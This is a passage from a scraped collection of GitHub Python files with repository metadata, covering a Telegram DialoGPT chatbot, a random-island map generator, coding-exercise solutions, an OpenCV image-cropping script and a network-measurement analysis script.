{})\n generation_pipeline_kwargs = {**{\n 'model': 'microsoft/DialoGPT-medium'\n }, **generation_pipeline_kwargs}\n\n generator_kwargs = kwargs.get('generator_kwargs', {})\n generator_kwargs = {**{\n 'max_length': 1000,\n 'do_sample': True,\n 'clean_up_tokenization_spaces': True\n }, **generator_kwargs}\n\n prior_ranker_weights = kwargs.get('prior_ranker_weights', {})\n cond_ranker_weights = kwargs.get('cond_ranker_weights', {})\n\n chatbot_params = kwargs.get('chatbot_params', {})\n if 'telegram_token' not in chatbot_params:\n raise ValueError(\"Please provide `telegram_token`\")\n # if 'giphy_token' not in chatbot_params:\n # raise ValueError(\"Please provide `giphy_token`\")\n continue_after_restart = chatbot_params.get('continue_after_restart', True)\n data_filename = chatbot_params.get('data_filename', 'bot_data.pkl')\n\n self.generation_pipeline_kwargs = generation_pipeline_kwargs\n self.generator_kwargs = generator_kwargs\n self.prior_ranker_weights = prior_ranker_weights\n self.cond_ranker_weights = cond_ranker_weights\n self.chatbot_params = chatbot_params\n self.device = device\n self.seed = seed\n self.debug = debug\n\n # Prepare the pipelines\n self.generation_pipeline, self.tokenizer = load_pipeline('text-generation', device=device, **generation_pipeline_kwargs)\n self.ranker_dict = build_ranker_dict(device=device, **prior_ranker_weights, **cond_ranker_weights)\n\n # Initialize the chatbot\n logger.info(\"Initializing the telegram bot...\")\n if continue_after_restart:\n persistence = PicklePersistence(data_filename)\n self.updater = Updater(chatbot_params['telegram_token'], use_context=True, persistence=persistence)\n if os.path.isfile(data_filename):\n with open(data_filename, 'rb') as handle:\n chat_data = pickle.load(handle)['chat_data']\n for chat_id, chat_id_data in chat_data.items():\n if len(chat_id_data['turns']) > 0:\n self.updater.bot.send_message(chat_id=chat_id, text=\"I'm back! Let's resume...\")\n else:\n self.updater.bot.send_message(chat_id=chat_id, text=\"I'm live!\")\n else:\n self.updater = Updater(chatbot_params['telegram_token'], use_context=True)\n\n # Add command, message and error handlers\n dp = self.updater.dispatcher\n dp.add_handler(CommandHandler('start', start_command))\n dp.add_handler(CommandHandler('stop_game', reset_command))\n dp.add_handler(CommandHandler('show_scores',show_scores_command))\n dp.add_handler(MessageHandler(Filters.text, self_decorator(self, message)))\n dp.add_error_handler(error)\n\n def run(self):\n \"\"\"Run the chatbot.\"\"\"\n logger.info(\"Running the telegram bot...\")\n\n # Start the Bot\n self.updater.start_polling()\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n self.updater.idle()\n\n\ndef run(**kwargs):\n \"\"\"Run `TelegramBot`.\"\"\"\n TelegramBot(**kwargs).run()\n","repo_name":"yashkens/CompassionBot","sub_path":"gpt2bot/telegram_bot-without-fight.py","file_name":"telegram_bot-without-fight.py","file_ext":"py","file_size_in_byte":13547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"42898477214","text":"#---------------------------\n# Archipielago Generator\n# PabloVD\n# Started: 11/5/20\n#---------------------------\n\n\"\"\"\n---------------------------------------------------------------------------------\nGenerate maps of random islands from a gaussian field.\nAfter being normalized and smoothed,\nonly the mainland above a certain threshold is retained,\nbeing the rest considered as sea.\nThe gaussian field is generated employing a cosmological package, powerbox,\nfrom a power spectrum as input.\n---------------------------------------------------------------------------------\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport powerbox as pbox\nfrom scipy import interpolate, ndimage\n\n#--- Parameters ---#\n\n# Number of bins per dimension\nboxsize = 500\n# Number of bins per dimension in the high resolution box\nhighboxsize = 2*boxsize\n# Threshold for the sea level\nthreshold = 0.6\n# Sigma for the gaussian smoothing\nsigma = 5.\n# Initial random seed\nllavor = 0\n# Spectral index for the power spectrum\nindexlaw = -3.\n\n# Define power spectrum as a power law with an spectral index indexlaw\n# With lower the spectral indexes, small structures are removed\ndef powerspec(k,indexlaw):\n return k**indexlaw\n\n# Filter the field with a gaussian window\ndef smooth_field(field,sigmagauss,gridsize=boxsize):\n\n x, y = np.linspace(0,field.shape[0],num=field.shape[0]), np.linspace(0,field.shape[1],num=field.shape[1])\n\n # Interpolation\n f = interpolate.interp2d(x,y,field,kind=\"linear\")\n\n qx = np.linspace(x[0],x[-1], num = gridsize)\n qy = np.linspace(y[0],y[-1], num = gridsize)\n\n # Filtering\n smooth = ndimage.filters.gaussian_filter(f(qx,qy),sigmagauss)\n return smooth\n\n# Remove regions below sea level\ndef mainland(field,threshold):\n for i, row in enumerate(field):\n for j, el in enumerate(row):\n if el1:\n return f'{self.amount} {self.type}s'\n else:\n return f'{self.amount} {self.type}'\n \n def __repr__(self):\n if self.amount>1:\n return f'{self.amount} {self.type}s'\n else:\n return f'{self.amount} {self.type}'\n \n def __int__(self):\n return self.amount\n \n def __sub__(self, other):\n try:\n if self.type == other.type:\n return self.amount - other.amount\n else:\n return TypeError(\"You can't subtract 2 different currencies\")\n except:\n return self.type - other\n \n # def __add__(self, other):\n # if isinstance(other,Currency):\n # if self.type == other.type:\n # return self.amount + other.amount\n # else:\n # return ValueError\n # elif isinstance (other,int):\n # return self.amount + other\n # else:\n # return ValueError\n def __add__(self, other):\n try:\n if self.type == other.type:\n return self.amount + other.amount\n else:\n return TypeError(\"You can't add 2 different currencies\")\n except:\n return self.amount + other\n \nc1 = Currency('dollar', 5)\nc2 = Currency('dollar', 10)\nc4 = Currency('shekel', 1)\nc3 = Currency('shekel', 10) \n\nprint(str(c1))\n# '5 dollars'\n\nprint(int(c1))\n# 5\n\nprint(repr(c1))\n# '5 dollars'\n\nprint(c1 + 5)\n# 10\n\nprint(c1 + c2)\n# 15\nprint(c2+c4)\n# >>> c1 \n# 5 dollars\n\n# c1 += 5\n# print(c1)\n# >>> c1\n# 10 dollars\n\n# >>> c1 += c2\n# >>> c1\n# 20 dollars\n\n# >>> c1 + c3\n# TypeError: Cannot add between Currency type and \n\n\n","repo_name":"fayblash/DI_Bootcamp","sub_path":"Week5/Day3/XP1.py","file_name":"XP1.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23516709961","text":"from __future__ import annotations\n\nimport sys\nfrom io import TextIOWrapper\nfrom os import PathLike\nfrom typing import Protocol, Union, runtime_checkable\n\n\n@runtime_checkable\nclass SupportsParse(Protocol):\n name: str | bytes\n\n def read(self) -> str | bytes:\n ...\n\n\nFileDescriptor = int\n\n\n@runtime_checkable\nclass HasFileno(Protocol):\n def fileno(self) -> FileDescriptor:\n ...\n\n\nif sys.version_info >= (3, 10):\n FileDescriptorLike = FileDescriptor | HasFileno\n StrPath = str | PathLike[str]\n AnyPath = StrPath | bytes | PathLike[bytes]\nelse:\n FileDescriptorLike = Union[FileDescriptor, HasFileno]\n StrPath = Union[str, PathLike[str]]\n AnyPath = Union[StrPath, bytes, PathLike[bytes]]\n\n\ndef open_fileno(x: FileDescriptorLike) -> TextIOWrapper:\n if isinstance(x, FileDescriptor):\n return open(x, \"r\", encoding=\"UTF-8\")\n elif isinstance(x, HasFileno):\n x = x.fileno()\n if not isinstance(x, FileDescriptor):\n raise TypeError(\"object.fileno(): returned a non-integer\")\n return open(x, \"r\", encoding=\"UTF-8\")\n\n raise TypeError(\"object passed is not a file descriptor\")\n","repo_name":"Gobot1234/protobuf_parser","sub_path":"protobuf_parser/_types.py","file_name":"_types.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38568389599","text":"class Solution:\n def isAlienSorted(self, words, order):\n \n rules = dict()\n for i,letter in enumerate(order):\n rules[letter] = i \n \n for i in range(len(words)-1):\n for j in range(len(words[i])):\n if j >= len(words[i+1]):\n return False\n \n if words[i][j] != words[i+1][j]:\n if rules[words[i][j]] > rules[words[i+1][j]]:\n return False\n else:\n break\n return True\n\nsol = Solution()\nwords=[\"kuvp\",\"q\"]\norder=\"ngxlkthsjuoqcpavbfdermiywz\"\nprint(sol.isAlienSorted(words, order))\n","repo_name":"archanakalburgi/Algorithms","sub_path":"practice_problems/alien_language_v1.py","file_name":"alien_language_v1.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"12362447262","text":"\"\"\"\nKata Level: 6.\n\nTask:\n\nYou will be given an array of numbers. You have to sort the odd numbers in ascending order while leaving the even numbers at their original positions.\n\nExamples:\n\n[7, 1] => [1, 7]\n[5, 8, 6, 3, 4] => [3, 8, 6, 5, 4]\n[9, 8, 7, 6, 5, 4, 3, 2, 1, 0] => [1, 8, 3, 6, 5, 4, 7, 2, 9, 0]\n\"\"\"\n\n# Mi solución en Python.\n\ndef sort_array(source_array):\n numeros_impares = []\n for number in source_array:\n if number % 2:\n numeros_impares.append(number)\n numeros_impares.sort()\n for i, number in enumerate(source_array):\n if number % 2:\n source_array[i] = numeros_impares[0]\n numeros_impares = numeros_impares[1:]\n return source_array\n\nprint(sort_array([9, 8, 7, 6, 5, 4, 3, 2, 1, 0]))","repo_name":"danonuniko/Exercises-Codewars","sub_path":"Kata 6/OrderOddNumbersArray/OrderOddNumbersArray.py","file_name":"OrderOddNumbersArray.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8575788126","text":"import numpy as np\n\n\ndef rmsle(real, predicted):\n _sum = 0.000\n length = len(predicted)\n for x in range(length):\n p = np.log(predicted[x]+1)\n r = np.log(real[x]+1)\n _sum = _sum + (p - r)**2\n return (_sum/length)**0.5\n","repo_name":"antoinebres/NYC_taxi","sub_path":"utils/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71498644842","text":"if __name__ == \"__main__\":\n steps = int(input().strip())\n path = input().rstrip()\n seaLevel, valley = 0, 0\n\n for step in path:\n if step == 'U':\n seaLevel += 1\n else:\n seaLevel -= 1\n\n if step == 'U' and seaLevel == 0:\n valley += 1\n print(valley)\n","repo_name":"Oshalb/HackerRank","sub_path":"mountainsandvalleys.py","file_name":"mountainsandvalleys.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21547731567","text":"\"\"\"\nmedium\n\nWrite a function that takes in a string of words separated by one or more whitespaces and\nreturns a string that has these words in reverse order.\nFor example, given the string \"tim is great\", your function should return \"great is tim\".\n\nFor this problem, a word can contain special characters, punctuation, and numbers.\nThe words in the string will be separated by one or more whitespaces, and\nthe reversed string must contain the same whitespaces as the original string.\nFor example, given the string \"whitespaces 4\" you would be expected to return \"4 whitespaces\".\n\nNote that you're not allowed to use any built-in split or reverse methods/functions.\nHowever, you are allowed to use a built-in join method/function.\n\nAlso note that the input string isn't guaranteed to always contain words.\n\nSample Input\nstring = \"Reverse these words.\"\nSample Output\n\"words. these Reverse\"\n\"\"\"\nimport unittest\n\n\ndef reverseWordsInString(string):\n words = []\n first = 0\n last = 0\n\n for last, char in enumerate(string):\n if char == \" \":\n word = string[first: last]\n words.insert(0, word)\n first = last + 1\n words.insert(0, \" \")\n\n if first <= last:\n word = string[first: last + 1]\n words.insert(0, word)\n\n return \"\".join(words)\n\n\nclass TestProgram(unittest.TestCase):\n def test_1(self):\n input = \"Reverse these words.\"\n expected = \"words. these Reverse\"\n actual = reverseWordsInString(input)\n self.assertEqual(actual, expected)\n\n def test_2(self):\n input = \"bbb \"\n expected = \" bbb\"\n actual = reverseWordsInString(input)\n self.assertEqual(actual, expected)\n\n def test_3(self):\n input = \" \"\n expected = \" \"\n actual = reverseWordsInString(input)\n self.assertEqual(actual, expected)\n","repo_name":"ChristianOrr/data-structures-and-algorithms","sub_path":"strings/reverse_words.py","file_name":"reverse_words.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11829081676","text":"import cv2\r\nimport os\r\nimport numpy as np\r\n\r\n\r\nclass SegByContour():\r\n def __init__(self, image_path):\r\n self.image = cv2.imread(image_path)\r\n\r\n def segmentation(self, padding=3, padding_value=[255, 255, 255], threshold=250, maxval=1, type=cv2.THRESH_BINARY):\r\n '''\r\n 1. 广告图片质量非常好,没有噪点。不应该做高斯滤波,做了效果反而不好;\r\n 2. 本算法能很好地切割边缘部分为黑色和白色的图片\r\n :param padding: 在原图(指self.image)的4个边界做填充,目的是检测出原图的4个边界;\r\n :param padding_value: 原图边界填充的像素点,默认填充白色像素;\r\n :param threshold: 对原图做二值化处理的阈值,默认去白边;如果去黑边则阈值应该设置较大\r\n :param maxval: 默认当像素点的值超过上面阈值时,设置为maxval,否��设置为0;\r\n :param type: 默认的二值化方法;\r\n :return: 原图的最大矩形子图\r\n '''\r\n # 对原图依次进行边缘填充,灰度化,二值化处理\r\n padded_image = cv2.copyMakeBorder(self.image, padding, padding, padding, padding, cv2.BORDER_CONSTANT, value=padding_value)\r\n gray_image = cv2.cvtColor(padded_image, cv2.COLOR_BGR2GRAY)\r\n binary_image = cv2.threshold(gray_image, threshold, maxval, type)[1].astype(np.uint8)\r\n cv2.imwrite(\"binary.png\", binary_image*255)\r\n\r\n # 检测轮廓-->计算各轮廓包围的面积-->找到面积前2的子图-->排除原图后,返回面积最大的子图在轮廓数组中的索引\r\n contours = np.array(cv2.findContours(binary_image, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)[1])\r\n contours_area = []\r\n for i in range(len(contours)):\r\n contours_area.append(cv2.contourArea(contours[i]))\r\n top2_index = np.argsort(contours_area)[: :-1][:4]\r\n # 注意可能没有找到轮廓,这时候只有一个子图即原图,直接返回原图\r\n if len(top2_index) < 2:\r\n return self.image\r\n # 如果检测到的第一大的子图是原图,则取第二大的子图;否则取第一大的子图\r\n if cv2.contourArea(contours[top2_index[0]]) > self.image.shape[0] * self.image.shape[1]:\r\n max_index = top2_index[1]\r\n else:\r\n max_index = top2_index[0]\r\n cv2.drawContours(self.image, contours[top2_index], 0, (0,0,255), 3)\r\n\r\n\r\n # 对该面积最大子图轮廓上的点进行排序-->找到左上角点(x1, y1)和右下角点(x2, y2)-->返回包围该子图的一个矩形子图\r\n max_counter = np.squeeze(contours[max_index])\r\n counter_point_rank = np.sum(max_counter, axis = 1)\r\n (x1, y1) = max_counter[np.argmin(counter_point_rank)] - padding + 1\r\n (x2, y2) = max_counter[np.argmax(counter_point_rank)] - padding - 1\r\n (y_max, x_max) = np.array(self.image.shape[:2]) - 1\r\n cv2.imwrite(\"contour.jpg\", self.image)\r\n self.image = self.image[(y1 if y1 >=0 else 0):(y2 if y2<=y_max else y_max), (x1 if x1 >=0 else 0):(x2 if x2<=x_max else x_max)]\r\n return self.image\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n image_path = \"../data/online/test/002.png\"\r\n obj = SegByContour(image_path)\r\n # 一次去除白边,一次去除黑边\r\n new_image = obj.segmentation()\r\n new_image = obj.segmentation(padding_value=[0, 0, 0], threshold=50, type=cv2.THRESH_BINARY_INV)\r\n os.chdir(os.path.dirname(image_path))\r\n cv2.imwrite(\"processed_image.png\", new_image)\r\n\r\n # os.chdir(\"../data/online/queries\")\r\n # for img in os.listdir(os.getcwd()):\r\n # obj = SegByContour(img)\r\n # # 一次去除白边,一次去除黑边\r\n # obj.segmentation()\r\n # new_image = obj.segmentation(padding_value=[0, 0, 0], threshold=10, type=cv2.THRESH_BINARY_INV)\r\n # image_path = os.path.join(\"../queries_processed\", img)\r\n # cv2.imwrite(image_path, new_image)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"holdfire/ImageRetrieval","sub_path":"tools/seg_by_contour.py","file_name":"seg_by_contour.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8117247444","text":"import sys\nimport re\nimport statistics\n\nclass CONSTANTS():\n NUM_SENDER = 12\n NUM_SWITCH = 12\n\nclass switch_flow_info_c():\n def __init__(self, real_volume, captured_volume, signed_target, target_switch_received):\n self.real_volume = real_volume\n self.captured_volume = captured_volume\n self.signed_target = signed_target\n self.target_switch_received = target_switch_received\n\nclass switch_one_round_result_c():\n def __init__(self, all_volume_one_interval, all_flow_num_one_interval, real_target_flow_num, fn, fp, accuracy, fn_num, fn_num_not_targetflow, fn_num_not_captured, fn_num_all_switches_not_signed_target):\n self.all_volume_one_interval = all_volume_one_interval\n self.all_flow_num_one_interval = all_flow_num_one_interval\n self.real_target_flow_num = real_target_flow_num\n self.fn = fn\n self.fp = fp\n self.accuracy = accuracy\n self.fn_num = fn_num\n self.fn_num_not_targetflow = fn_num_not_targetflow\n self.fn_num_not_captured = fn_num_not_captured\n self.fn_num_all_switches_not_signed_target = fn_num_all_switches_not_signed_target\n self.sample_map_size = 0\n #self.condition_map_size = 0\n\nclass avg_switch_result_one_setting_c():\n def __init__(self):\n self.avg_fn = 0\n self.stdv_fn = 0\n self.avg_fp = 0\n self.stdv_fp = 0\n self.avg_accuracy = 0\n self.stdv_accuracy = 0\n self.sample_map_size = 0\n #self.condition_map_size = 0\n self.avg_all_volume_one_interval = 0\n self.avg_all_flow_num_one_interval = 0\n self.avg_real_target_flow_num = 0\n self.avg_fn_num = 0\n self.avg_fn_num_not_targetflow = 0\n self.avg_fn_num_not_captured = 0\n self.avg_fn_num_all_switches_not_signed_target = 0\n\nclass one_setting_result_c():\n def __init__(self):\n self.avg_fn = 0\n self.min_fn = 0\n self.max_fn = 0\n self.stdv_fn = 0\n self.avg_targetflow_num = 0\n self.avg_fn_num = 0\n self.avg_fn_num_not_targetflow = 0\n self.avg_fn_num_not_captured = 0\n self.avg_fn_num_all_switches_not_signed_target = 0\n self.avg_fp = 0\n self.min_fp = 0\n self.max_fp = 0\n self.stdv_fp = 0\n self.avg_accuracy = 0\n self.min_accuracy = 0\n self.min_accuracy = 0\n self.stdv_accuracy = 0\n self.avg_sample_map_size = 0\n self.min_sample_map_size = 0\n self.max_sample_map_size = 0\n self.avg_condition_map_size = 0\n self.min_condition_map_size = 0\n self.max_condition_map_size = 0\n self.raw_host_sample_switch_hold_accuracy = 0\n\nclass one_setting_result_calculator_c():\n #CONDITION_MAP_LAST_ROTATE_COLISSION_TIMES_KEY = \"CONDITION_MAP_LAST_ROTATE_COLISSION_TIMES_KEY\"\n def __init__(self):\n #setting\n self.host_switch_sample = 0\n self.replace = 0\n self.memory_type = 0\n self.freq = 0\n self.switches_sample_map_size = [None] * (CONSTANTS.NUM_SWITCH+1)\n #self.switches_condition_map_size = [None] * (CONSTANTS.NUM_SWITCH+1)\n \n def get_one_setting_result(self, one_setting_path):\n one_setting_result = one_setting_result_c()\n\n print(one_setting_path)\n #1. read all target flows for each round\n #format: {{sec, {flow}},{sec, {flow}},{sec, {flow}}}\n global_rounds_target_flows = {}\n global_rounds_not_sent_out_targetflows = {}\n self.read_global_rounds_target_flows(one_setting_path, global_rounds_target_flows, global_rounds_not_sent_out_targetflows, one_setting_result)\n \n #2. read flow infor for per switch per each round\n #pair: key-switch_id, value-{{sec, {flow info}},{sec, {flow info}},{sec, {flow info}}}\n switches_rounds_flow_info = {}\n self.read_rounds_per_switch_flow_info(one_setting_path, switches_rounds_flow_info, global_rounds_target_flows)\n \n self.calculate_result_method4(global_rounds_target_flows, switches_rounds_flow_info, global_rounds_not_sent_out_targetflows, one_setting_result)\n return one_setting_result\n\n def read_global_rounds_target_flows(self, one_setting_path, global_rounds_target_flows, global_rounds_not_sent_out_targetflows, one_setting_result):\n sender_path = \"{0}/sender\" .format(one_setting_path)\n round_start_pattern = re.compile(\"=====time-(\\d+) milliseconds=====\")\n target_flow_pattern = re.compile(\"^(\\d+)\\t(\\d+)\\t(\\d+.\\d+)\\t(\\d+)\\t([-]*\\d+)\\t([-]*\\d+)\")\n raw_host_sample_switch_hold_accuracy = 0\n raw_host_sample_switch_hold_accuracy_cnt = 0\n not_sample_flow_num = 0\n\n for sender_idx in range(1, CONSTANTS.NUM_SENDER+1):\n sender_fname = \"{0}/h{1}_intervals_target_flows.txt\" .format(sender_path, sender_idx)\n print(\"start read {0}\" .format(sender_fname))\n # 1. read the file \n in_file = open(sender_fname, 'r')\n lines = in_file.readlines()\n in_file.close()\n # 2. get per round target flows\n cur_round_sec = 0\n for line in lines:\n match = round_start_pattern.match(line)\n if match != None:\n #new round start\n cur_round_sec = int(int(match.group(1)) / 1000)\n if cur_round_sec == '1439973225':\n break\n if cur_round_sec not in global_rounds_target_flows:\n one_round_result = {}\n global_rounds_target_flows[cur_round_sec] = one_round_result\n not_sent_map= {}\n global_rounds_not_sent_out_targetflows[cur_round_sec] = not_sent_map\n else:\n match = target_flow_pattern.match(line)\n if match != None:\n #one target flow\n srcip = match.group(1)\n volume = match.group(2)\n loss_rate = match.group(3)\n loss_volume = match.group(4)\n not_sampled_volume = match.group(5)\n sent_out = int(match.group(6))\n\n one_round_result = global_rounds_target_flows[cur_round_sec]\n one_round_result[srcip] = 1\n if sent_out < 0:\n global_rounds_not_sent_out_targetflows[cur_round_sec][srcip] = 1\n\n raw_host_sample_switch_hold_accuracy_cnt += 1\n raw_host_sample_switch_hold_accuracy += (1 - 1.0 * int(not_sampled_volume) / int(volume))\n if not_sampled_volume == volume:\n not_sample_flow_num += 1\n print(not_sample_flow_num)\n print(\"end read {0}\" .format(sender_fname))\n if raw_host_sample_switch_hold_accuracy_cnt > 0:\n raw_host_sample_switch_hold_accuracy /= raw_host_sample_switch_hold_accuracy_cnt\n one_setting_result.raw_host_sample_switch_hold_accuracy = raw_host_sample_switch_hold_accuracy\n print(\"num_rounds:{0}, max_accuracy_at_host:{1}, min_fn_ratio_at_host:{2}\" \\\n .format(len(global_rounds_target_flows), one_setting_result.raw_host_sample_switch_hold_accuracy, \n 1.0*not_sample_flow_num/raw_host_sample_switch_hold_accuracy_cnt))\n if len(global_rounds_target_flows) > 0:\n max_target_flow_num_round = 0\n for sec, one_round_result in sorted(global_rounds_target_flows.items(), key=lambda pair: pair[0]):\n if len(one_round_result) > max_target_flow_num_round:\n max_target_flow_num_round = len(one_round_result)\n for sec, one_round_result in sorted(global_rounds_target_flows.items(), key=lambda pair: pair[0]):\n if len(one_round_result) < max_target_flow_num_round / 2:\n #this round shouldb the last round\n del global_rounds_target_flows[sec]\n continue\n print(\"one round sec:{0}, target flow num:{1}\" .format(sec, len(one_round_result)))\n\n def read_rounds_per_switch_flow_info(self, one_setting_path, switches_rounds_flow_info, global_rounds_target_flows):\n switch_path = \"{0}/switch\" .format(one_setting_path)\n round_start_pattern = re.compile(\"=====time-(\\d+) milliseconds=====\")\n #new format\n flow_info_pattern_new = re.compile(\"^(\\d+)\\t(\\d+)\\t([-]*\\d+)\\t([-]*\\d+)\\t(\\d+)\")\n #old format\n flow_info_pattern_old = re.compile(\"^(\\d+)\\t(\\d+)\\t([-]*\\d+)\\t([-]*\\d+)\")\n sample_map_size_pattern = re.compile(\"^sample_hashmap_size:(\\d+)\")\n condition_map_size_pattern = re.compile(\"^condition_hashmap_size:(\\d+)\")\n condition_map_last_round_collision_num = re.compile(\"^condition_hashmap last rotate collision times:(\\d+)\")\n for switch_idx in range(1, CONSTANTS.NUM_SWITCH+1):\n switch_fname = \"{0}/s{1}.result\" .format(switch_path, switch_idx)\n print(\"start read {0}\" .format(switch_fname))\n # 0. one new switch\n one_switch_rounds_info = {}\n switches_rounds_flow_info[switch_idx] = one_switch_rounds_info\n # 1. read the file \n in_file = open(switch_fname, 'r')\n lines = in_file.readlines()\n in_file.close()\n #2. get per round flow info for the switch\n cur_round_sec = 0\n cur_round_flow_num = 0\n line_num = 0\n signed_target_num = 0\n for line in lines:\n #get memory sizes\n match = sample_map_size_pattern.match(line)\n if match != None:\n self.switches_sample_map_size[switch_idx] = int(match.group(1))\n #match = condition_map_size_pattern.match(line)\n #if match != None:\n # self.switches_condition_map_size[switch_idx] = int(match.group(1))\n #match = condition_map_last_round_collision_num.match(line)\n #if match != None:\n # one_switch_rounds_info[cur_round_sec][one_setting_result_calculator_c.CONDITION_MAP_LAST_ROTATE_COLISSION_TIMES_KEY] \\\n # = int(match.group(1))\n match = round_start_pattern.match(line)\n if match != None:\n #print previous round info\n if cur_round_sec != 0 and cur_round_sec in global_rounds_target_flows:\n one_switch_one_round_info = one_switch_rounds_info[cur_round_sec]\n global_target_flow_map = global_rounds_target_flows[cur_round_sec]\n through_target_flow_num = 0\n for srcip, flow_info in one_switch_one_round_info.items():\n if srcip in global_target_flow_map and flow_info.real_volume > 0:\n #the target flow goes through the switch\n through_target_flow_num += 1\n print(\"sec:{0}, switch:{1}, flow num:{2}, through_target_flow_num:{3}\" .format(cur_round_sec, switch_idx, len(one_switch_one_round_info), through_target_flow_num))\n #new round start\n cur_round_sec = int(int(match.group(1)) / 1000)\n one_switch_one_round_info = {}\n one_switch_rounds_info[cur_round_sec] = one_switch_one_round_info\n #print(\"switch:{0}, cur_round_sec:{1}\" .format(switch_idx, cur_round_sec))\n #print(\"pre interval signed_target_num:{0}\" .format(signed_target_num))\n signed_target_num = 0\n cur_round_flow_num=0\n line_num = 0\n else:\n #print(line)\n line_num += 1\n cur_round_flow_num += 1\n\n srcip = 0\n real_volume = 0\n captured_volume = 0\n signed_target = 0\n target_switch_received = 0\n matched = False\n match_new = flow_info_pattern_new.match(line)\n if match_new != None:\n #one target flow\n srcip = match_new.group(1)\n real_volume = int(match_new.group(2))\n captured_volume = int(match_new.group(3))\n signed_target = int(match_new.group(4))\n target_switch_received = int(match_new.group(5))\n matched = True\n else:\n match_old = flow_info_pattern_old.match(line)\n if match_old != None:\n srcip = match_old.group(1)\n real_volume = int(match_old.group(2))\n captured_volume = int(match_old.group(3))\n signed_target = int(match_old.group(4))\n matched = True\n if matched:\n flow_info = switch_flow_info_c(real_volume, captured_volume, signed_target, target_switch_received)\n if cur_round_sec not in one_switch_rounds_info:\n print(\"FATAL: switch_idx:{0}, cur_round_sec:{1} not exist in one_switch_rounds_info\" \\\n .format(switch_idx, cur_round_sec))\n continue\n one_switch_one_round_info = one_switch_rounds_info[cur_round_sec]\n one_switch_one_round_info[srcip] = flow_info\n if signed_target == 1 and captured_volume > 0:\n signed_target_num += 1\n\n print(\"end read {0}\" .format(switch_fname))\n\n print(\"num switches:{0}\" .format(len(switches_rounds_flow_info)))\n if len(switches_rounds_flow_info) > 0:\n for switch_idx, one_switch_rounds_info in switches_rounds_flow_info.items():\n for sec, one_switch_one_round_info in sorted(one_switch_rounds_info.items(), key=lambda pair: pair[0]):\n #print(\"sec:{0}, switch:{1}, flow num:{2}, signed_target_num:{3}\" .format(sec, switch_idx, len(one_switch_one_round_info), signed_target_num))\n pass\n\n def calculate_result_method4(self, global_rounds_target_flows, switches_rounds_flow_info, global_rounds_not_sent_out_targetflows, one_setting_result):\n fn_list = []\n accuracy_list = []\n for sec, global_target_flow_map in sorted(global_rounds_target_flows.items(), key=lambda pair:pair[0]):\n if len(global_target_flow_map) < 800:\n print(\"sec:{0}, len(global_target_flow_map) < 1000\" .format(sec))\n continue\n all_target_flow_num = 0\n false_negative_num = 0\n\n all_accuracy = 0\n all_captured_target_flow_num = 0\n #for each round, calculate FN, accuracy separately.\n for srcip in global_target_flow_map:\n #check the switches the sricp travels through.\n #If all switches the srcip travels through have captured the volume of srcip = > not FN\n #otherwise, = > FN\n is_target_flow_through_switches = False\n is_false_negative = False\n srcip_volume_among_switches = 0\n srcip_captured_volume_among_switches = 0\n for switch_id, switch_rounds_flow_map in switches_rounds_flow_info.items():\n if sec not in switch_rounds_flow_map:\n print(\"round {0} not in switch {1}\" .format(sec, switch_id))\n continue\n switch_sec_flow_map = switch_rounds_flow_map[sec]\n if srcip not in switch_sec_flow_map:\n continue\n flow_info = switch_sec_flow_map[srcip]\n if flow_info.real_volume <= 0:\n #srcip not in this switch\n continue\n is_target_flow_through_switches = True\n if flow_info.captured_volume <= 0:\n is_false_negative = True\n break\n #captured by the switch\n srcip_volume_among_switches += flow_info.real_volume\n srcip_captured_volume_among_switches += flow_info.captured_volume\n if not is_target_flow_through_switches:\n continue\n all_target_flow_num += 1\n if is_false_negative:\n false_negative_num += 1\n continue\n all_captured_target_flow_num += 1\n all_accuracy += 1.0 * srcip_captured_volume_among_switches / srcip_volume_among_switches\n\n #fn ratio and avg accuracy of one round\n false_negative_ratio = 1.0 * false_negative_num / all_target_flow_num\n captured_flows_avg_accuracy = all_accuracy / all_captured_target_flow_num\n fn_list.append(false_negative_ratio)\n accuracy_list.append(captured_flows_avg_accuracy)\n print(\"sec:{0}, all_target_flow_num:{1}, false_negative_ratio:{2}, captured_flows_avg_accuracy:{3}\" .format(sec, all_target_flow_num, false_negative_ratio, captured_flows_avg_accuracy))\n \n #calculate avg value among rounds, and stdv\n one_setting_result.avg_fn = statistics.mean(fn_list)\n one_setting_result.avg_accuracy = statistics.mean(accuracy_list)\n if len(fn_list) > 1:\n one_setting_result.stdv_fn =statistics.stdev(fn_list)\n one_setting_result.stdv_accuracy =statistics.stdev(accuracy_list)\n\n","repo_name":"cfdream/CM_testbed_code","sub_path":"data_analysis_script/one_setting_result_calculator_method4.py","file_name":"one_setting_result_calculator_method4.py","file_ext":"py","file_size_in_byte":17914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"18014690869","text":"import os\nimport time\nimport collections\nimport regex\nimport pygtrie\nimport queue\nimport threading\nimport collections.abc\nfrom ._llm import LLM, 